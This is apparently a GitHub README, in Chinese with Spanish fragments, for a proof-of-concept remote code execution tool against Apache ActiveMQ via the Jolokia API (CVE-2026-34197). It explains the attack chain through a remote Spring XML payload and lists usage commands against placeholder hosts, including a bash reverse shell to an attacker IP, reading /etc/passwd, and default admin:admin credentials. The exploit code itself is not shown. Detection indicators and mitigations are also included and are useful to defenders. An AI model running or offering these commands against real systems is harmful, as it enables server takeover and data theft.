DEVSECURITYSPRO/CVE-2026-34197
GitHub: DEVSECURITYSPRO/CVE-2026-34197
针对 Apache ActiveMQ Jolokia 端点漏洞(CVE-2026-34197)的远程代码执行概念验证利用工具。
Stars: 3 | Forks: 0
# CVE-2026-34197 — 通过 Jolokia API 的 Apache ActiveMQ RCE
## 描述
CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行 (RCE) 漏洞,它允许攻击者通过 Web 控制台暴露的 Jolokia API 在服务器操作系统上执行任意命令。
该漏洞存在已超过 13 年,源于多个组件之间的交互:Jolokia(HTTP-JMX 桥接)、ActiveMQ MBean、网络连接器和 VM 传输。
## 漏洞信息
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-34197 |
| 类型 | RCE (Remote Code Execution) |
| CWE | CWE-20 (输入验证不当), CWE-94 (代码注入) |
| 受影响版本 | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| 已修复版本 | 5.19.4, 6.2.3 |
| 需要认证 | 是 (常见的默认凭据 `admin:admin`) |
| 无需认证版本 | 6.0.0 — 6.1.1 (因 CVE-2024-32114) |
| 默认端口 | 8161 (Web 控制台) |
## 利用机制
攻击链工作原理如下:
1. 攻击者向 `/api/jolokia/` 发送 POST 请求,调用 broker MBean 的 `addNetworkConnector` 操作。
2. 参数包含一个使用 `vm://` 传输的 URI,该 URI 指向一个不存在的 broker。
3. ActiveMQ 尝试动态创建该 broker,并接受指向远程 URL 的 `brokerConfig` 参数。
4. `xbean:` 架构指示该资源是一个 Spring XML 配置文件。
5. Spring 实例化 XML 中定义的所有 bean,包括执行 `Runtime.getRuntime().exec()` 的 bean。
6. 服务器上执行任意命令。
```
Atacante ActiveMQ (víctima)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- Crea broker VM
| |-- Descarga x.xml
|<-- GET /x.xml --------------------|
|-- Responde con payload XML ------>|
| |-- Spring instancia beans
| |-- Runtime.exec(COMANDO)
| |
```
## 项目结构
```
CVE-2026-34197/
├── README.md # Este archivo
├── exploit.py # PoC principal
├── payloads/
│ └── template.xml # Plantilla del payload Spring XML
├── docker/
│ └── docker-compose.yml # Entorno de laboratorio vulnerable
└── LICENSE
```
## 要求
- Python 3.8+
- 模块:`requests`、`http.server`、`argparse` (stdlib)
- 能够访问目标 8161 端口的网络
- Docker 和 Docker Compose (可选,用于实验室环境)
```
pip install requests
```
## 使用方法
### 1. 搭建漏洞环境 (可选)
```
cd docker
docker-compose up -d
```
这会在 `localhost:8161` 上启动一个存在漏洞的 ActiveMQ Classic 5.18.6。
### 2. 运行利用程序
```
# 使用默认凭证的基本用法
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id"
# 指定凭证
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin
# 指定 payload HTTP 服务器端口
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd"
# 无身份验证模式 (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth
# 反向 Shell
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1"
```
### 参数
| 参数 | 描述 |
|---|---|
| `-t, --target` | 目标基础 URL (例如:`http://10.0.0.1:8161`) |
| `-l, --lhost` | 用于提供 XML payload 的攻击者 IP |
| `-lp, --lport` | 本地 HTTP 服务器端口 (默认:8888) |
| `-c, --command` | 要在目标上执行的命令 |
| `-u, --user` | 用户名 (默认:`admin`) |
| `-p, --password` | 密码 (默认:`admin`) |
| `--no-auth` | 不发送凭据 (适用于 6.0.0 - 6.1.1 版本) |
| `--broker-name` | Broker 名称 (默认:`localhost`) |
## 检测
ActiveMQ Broker 日志中的指标:
```
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
```
其他指标:
- 发往 `/api/jolokia/` 且正文中包含 `addNetworkConnector` 的 POST 请求
- 从 ActiveMQ 进程发往意外主机的出站 HTTP 连接
- 由 ActiveMQ Java 进程产生的意外子进程
## 缓解措施
- 升级至 ActiveMQ Classic 5.19.4 或 6.2.3
- 更改 Web 控制台的默认凭据
- 限制对 8161 端口的网络访问
- 监控 Broker 日志,查找带有 `brokerConfig=xbean:http` 的 `vm://` URI
## 参考资料
- [NVD — CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197)
- [Horizon3 — 技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/)
- [Apache ActiveMQ — 安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt)
- [CVE-2024-32114 — Jolokia 无需认证](https://nvd.nist.gov/vuln/detail/CVE-2024-32114)
- [CVE-2023-46604 — RCE OpenWire (CISA KEV)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604)
## 作者
由 [KONDOR DEV SECURITY](https://t.me/KONDORDEVSECURITY) 创建
[](https://t.me/KONDORDEVSECURITY)
## 法律声明
本 PoC 仅供教育和安全研究目的提供。在未经明确授权的情况下对系统使用此工具是非法的。作者不对本工具的误用负责。
## 许可证
MIT — Copyright (c) 2026 [KONDOR DEV SECURITY](https://t.me/KONDORDEVSECURITY)
标签:0day, Apache ActiveMQ, CISA项目, CVE-2026-34197, JMX, Jolokia, MBean, PoC, RCE, Spring XML, VM Transport, Web安全, xbean, 中间件安全, 反序列化, 威胁模拟, 暴力破解, 编程工具, 网络安全, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具, 隐私保护